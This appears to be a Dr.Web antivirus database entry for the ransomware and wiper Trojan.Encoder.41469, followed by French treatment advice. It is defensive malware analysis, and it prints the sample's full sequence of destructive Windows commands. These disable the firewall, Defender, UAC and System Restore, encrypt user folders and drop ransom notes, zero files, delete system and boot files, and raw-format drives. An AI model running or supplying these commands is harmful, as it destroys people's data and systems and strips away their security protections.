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Trojan.Encoder.41469
Added to the Dr.Web virus database:
2025-01-11
Virus description added:
2025-01-13
Technical Information
To ensure autorun and distribution
Sets the following service settings
[HKLM\System\CurrentControlSet\Services\EFS] 'Start' = '00000002'
[HKLM\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Modifies master boot record (MBR).
Malicious functions
To bypass firewall, removes or modifies the following registry keys
[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
[HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
Windows Task Manager (Taskmgr)
Registry Editor (RegEdit)
Windows Defender
blocks the following features:
System Restore (SR)
User Account Control (UAC)
Executes the following
'<SYSTEM32>\netsh.exe' advfirewall set allprofiles state off
Launches a large number of processes
Modifies file system
Creates the following files
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-3691498038-2086406363-2140527554-1000\2dfc3c2d26c8101ca334d11f42e1b3e1_0cb67e2f-dc95-45ca-8fb8-69bde8e3f814
%APPDATA%\microsoft\systemcertificates\my\certificates\3b9f9902d70c6607df363b4f819c060a592a766f
C:\system volume information\efs0.log
%HOMEPATH%\desktop\efs0.tmp
%HOMEPATH%\desktop\ransom_note.txt
%HOMEPATH%\documents\ransom_note.txt
%HOMEPATH%\pictures\ransom_note.txt
%HOMEPATH%\downloads\ransom_note.txt
%HOMEPATH%\music\ransom_note.txt
%HOMEPATH%\videos\ransom_note.txt
%LOCALAPPDATA%\efs0.tmp
%LOCALAPPDATA%\google\chrome\application\efs0.tmp
%LOCALAPPDATA%\google\chrome\application\42.0.2311.135\efs0.tmp
Deletes the following files
Modifies the following files
%HOMEPATH%\desktop\000814251_video_01.avi
%HOMEPATH%\desktop\adhd_and_obesity.docx
%HOMEPATH%\desktop\advice_process.htm
%HOMEPATH%\desktop\browse.htm
%HOMEPATH%\desktop\correct.avi
%HOMEPATH%\desktop\cveuropeo.doc
%HOMEPATH%\desktop\google chrome.lnk
%HOMEPATH%\desktop\telegram.lnk
%LOCALAPPDATA%\google\chrome\application\debug.log
%LOCALAPPDATA%\google\chrome\application\42.0.2311.135\42.0.2311.135.manifest
Substitutes the following files
C:\system volume information\efs0.log
%HOMEPATH%\desktop\efs0.tmp
%LOCALAPPDATA%\google\chrome\application\efs0.tmp
%LOCALAPPDATA%\google\chrome\application\42.0.2311.135\efs0.tmp
Modifies user data files (Trojan.Encoder).
Network activity
UDP
'localhost':62126
'localhost':58881
Miscellaneous
Executes the following
'<SYSTEM32>\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Desktop
'<SYSTEM32>\cipher.exe' /E /A /S:%HOMEPATH%\AppData
'<SYSTEM32>\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\AppData
'<SYSTEM32>\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Videos\RANSOM_NOTE.txt
'<SYSTEM32>\cipher.exe' /E /A /S:%HOMEPATH%\Videos
'<SYSTEM32>\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Videos
'<SYSTEM32>\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Music\RANSOM_NOTE.txt
'<SYSTEM32>\cipher.exe' /E /A /S:%HOMEPATH%\Music
'<SYSTEM32>\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Music
'<SYSTEM32>\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Downloads\RANSOM_NOTE.txt
'<SYSTEM32>\bcdedit.exe' /delete {current} /f
'<SYSTEM32>\cipher.exe' /E /A /S:%HOMEPATH%\Downloads
'<SYSTEM32>\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Pictures\RANSOM_NOTE.txt
'<SYSTEM32>\cipher.exe' /E /A /S:%HOMEPATH%\Pictures
'<SYSTEM32>\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Pictures
'<SYSTEM32>\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Documents\RANSOM_NOTE.txt
'<SYSTEM32>\cipher.exe' /E /A /S:%HOMEPATH%\Documents
'<SYSTEM32>\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Documents
'<SYSTEM32>\cmd.exe' /c echo YOUR FILES HAVE BEEN ENCRYPTED! Send 5 BTC to unlock. Your personal files, photos, and memories are gone forever unless you pay. > %HOMEPATH%\Desktop\RANSOM_NOTE.txt
'<SYSTEM32>\cmd.exe' /c netsh advfirewall set allprofiles state off
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c cipher /E /A /S:%HOMEPATH%\Downloads
'<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
'<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Setup\RecoveryConsole" /v SecurityLevel /t REG_DWORD /d 0 /f
'<SYSTEM32>\cmd.exe' /c del /F /Q /S C:\Recovery\*.*
'<SYSTEM32>\cmd.exe' /c del /F /Q <SYSTEM32>\config\*.*
'<SYSTEM32>\cmd.exe' /c del /F /Q %WINDIR%\regedit.exe
'<SYSTEM32>\cmd.exe' /c del /F /Q %WINDIR%\explorer.exe
'<SYSTEM32>\cmd.exe' /c del /F /Q <SYSTEM32>\*.exe
'<SYSTEM32>\cmd.exe' /c del /F /Q <DRIVERS>\*.sys
'<SYSTEM32>\bcdedit.exe' /set {default} bootstatuspolicy ignoreallfailures
'<SYSTEM32>\cmd.exe' /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
'<SYSTEM32>\cmd.exe' /c bcdedit /set {default} recoveryenabled No
'<SYSTEM32>\cmd.exe' /c sc stop wuauserv
'<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
'<SYSTEM32>\sc.exe' config wuauserv start=disabled
'<SYSTEM32>\cmd.exe' /c sc config wuauserv start=disabled
'<SYSTEM32>\sc.exe' stop wuauserv
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Setup\RecoveryConsole" /v SecurityLevel /t REG_DWORD /d 0 /f
'<SYSTEM32>\cmd.exe' /c bcdedit /delete {current} /f
'<SYSTEM32>\format.com' E: /fs:raw /q /y
'<SYSTEM32>\cmd.exe' /c format E: /fs:raw /q /y
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\default.bmp"
'<SYSTEM32>\bcdedit.exe' /delete {default} /f
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\dashBorder_96.bmp"
'<SYSTEM32>\cmd.exe' /c bcdedit /delete {default} /f
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\cveuropeo.doc"
'<SYSTEM32>\efsui.exe' /efs /keybackup
'<SYSTEM32>\bcdedit.exe' /delete {bootmgr} /f
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\correct.avi"
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\dial.bmp"
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\chromesetup.exe"
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\browse.htm"
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\advice_process.htm"
'<SYSTEM32>\cmd.exe' /c del /F /Q C:\bootmgr
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\adhd_and_obesity.docx"
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\000814251_video_01.avi"
'<SYSTEM32>\cipher.exe' /E /A /S:%HOMEPATH%\Desktop
'<SYSTEM32>\cmd.exe' /c for /r "%HOMEPATH%\Desktop" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
'<SYSTEM32>\cmd.exe' /c del /F /Q <SYSTEM32>\*.dll
'<SYSTEM32>\cmd.exe' /c del /F /Q <SYSTEM32>\winload.exe
'<SYSTEM32>\cmd.exe' /c bcdedit /delete {bootmgr} /f
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\fi51.doc"
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\delete.avi"
'<SYSTEM32>\cmd.exe' /c mountvol X: /s
'<SYSTEM32>\format.com' D: /fs:raw /q /y
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\utorrent.exe"
'<SYSTEM32>\cmd.exe' /c format D: /fs:raw /q /y
'<SYSTEM32>\cmd.exe' /c for /r "%HOMEPATH%\Videos" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
'<SYSTEM32>\cmd.exe' /c for /r "%HOMEPATH%\Music" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
'<SYSTEM32>\cmd.exe' /c for /r "%HOMEPATH%\Downloads" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
'<SYSTEM32>\format.com' C: /fs:raw /q /y
'<SYSTEM32>\cmd.exe' /c for /r "%HOMEPATH%\Pictures" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
'<SYSTEM32>\cmd.exe' /c for /r "%HOMEPATH%\Documents" %x in (*) do fsutil file setZeroData offset=0 length=999999999 "%x"
'<SYSTEM32>\cmd.exe' /c format C: /fs:raw /q /y
'<SYSTEM32>\mountvol.exe' X: /d
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\thlps_keeper_mayer_1965.docx"
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\Google Chrome.lnk"
'<SYSTEM32>\cmd.exe' /c mountvol X: /d
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\testEE.cer"
'<SYSTEM32>\cmd.exe' /c del /F /Q X:\EFI\Microsoft\Boot\*.*
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\TestCertificate.cer"
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\Telegram.lnk"
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\split.avi"
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\pmd.cer"
'<SYSTEM32>\mountvol.exe' X: /s
'<SYSTEM32>\fsutil.exe' file setZeroData offset=0 length=999999999 "%HOMEPATH%\Desktop\ovp25012015.doc"
'<SYSTEM32>\cmd.exe' /c del /F /Q <SYSTEM32>\restore\*.*
'<SYSTEM32>\cmd.exe' /c del /F /Q %WINDIR%\repair\*.*
Recommandations pour le traitement
Windows
macOS
Linux
Android
Si le système d'exploitation peut être démarré (en mode normal ou en mode sans échec), téléchargez Dr.Web Security Space et lancez un scan complet de votre ordinateur et de tous les supports amovibles que vous utilisez. En savoir plus sur Dr.Web Security Space .
Si le démarrage du système d'exploitation est impossible, veuillez modifier les paramètres du BIOS de votre ordinateur pour démarrer votre ordinateur via CD/DVD ou clé USB. Téléchargez l'image du disque de secours de restauration du système Dr.Web® LiveDisk ou l'utilitaire pour enregistrer Dr.Web® LiveDisk sur une clé USB, puis préparez la clé USB appropriée. Démarrez l'ordinateur à l'aide de cette clé et lancez le scan complet et le traitement des menaces détectées.
Si votre appareil mobile fonctionne correctement, veuillez télécharger et installer sur votre appareil mobile Dr.Web pour Android . Lancez un scan complet et suivez les recommandations sur la neutralisation des menaces détectées.
Si l'appareil mobile est bloqué par le Trojan de la famille Android.Locker (un message sur la violation grave de la loi ou la demande d'une rançon est affiché sur l'écran de l'appareil mobile), procédez comme suit:
démarrez votre Smartphone ou votre tablette en mode sans échec (si vous ne savez pas comment faire, consultez la documentation de l'appareil mobile ou contactez le fabricant) ;
puis téléchargez et installez sur votre appareil mobile Dr.Web pour Android et lancez un scan complet puis suivez les recommandations sur la neutralisation des menaces détectées ;
Débranchez votre appareil et rebranchez-le.
En savoir plus sur Dr.Web pour Android
Téléchargez Dr.Web pour Android
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